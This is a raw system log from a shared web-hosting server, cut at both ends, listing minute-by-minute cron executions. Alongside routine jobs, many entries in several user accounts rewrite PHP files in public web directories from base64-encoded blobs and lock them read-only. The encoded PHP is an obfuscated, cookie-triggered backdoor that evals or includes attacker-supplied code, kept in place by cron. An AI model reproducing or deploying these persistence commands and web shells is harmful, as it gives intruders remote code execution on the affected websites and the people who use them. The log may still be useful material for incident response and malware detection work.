keVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:55:01 medusa CROND[3513]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:55:01 medusa CROND[3514]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:55:01 medusa CROND[3495]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 15:55:01 medusa CROND[3524]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:55:01 medusa CROND[3525]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 15:55:01 medusa CROND[3490]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:56:01 medusa CROND[20879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:56:01 medusa CROND[20973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:56:01 medusa CROND[21123]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:56:01 medusa CROND[21124]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 15:56:01 medusa CROND[21128]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 15:56:01 medusa CROND[21129]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 15:56:01 medusa CROND[21125]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:56:01 medusa CROND[21130]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:56:01 medusa CROND[21140]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 15:56:01 medusa CROND[21144]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 15:56:01 medusa CROND[21145]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:56:01 medusa CROND[21146]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:56:01 medusa CROND[21149]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:56:01 medusa CROND[21150]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:57:01 medusa CROND[7583]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:57:01 medusa CROND[7584]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 15:57:01 medusa CROND[7585]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 15:57:01 medusa CROND[7586]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 15:57:01 medusa CROND[7587]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 15:57:01 medusa CROND[7588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 15:57:01 medusa CROND[7590]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 15:57:01 medusa CROND[7591]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 15:57:01 medusa CROND[7595]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKS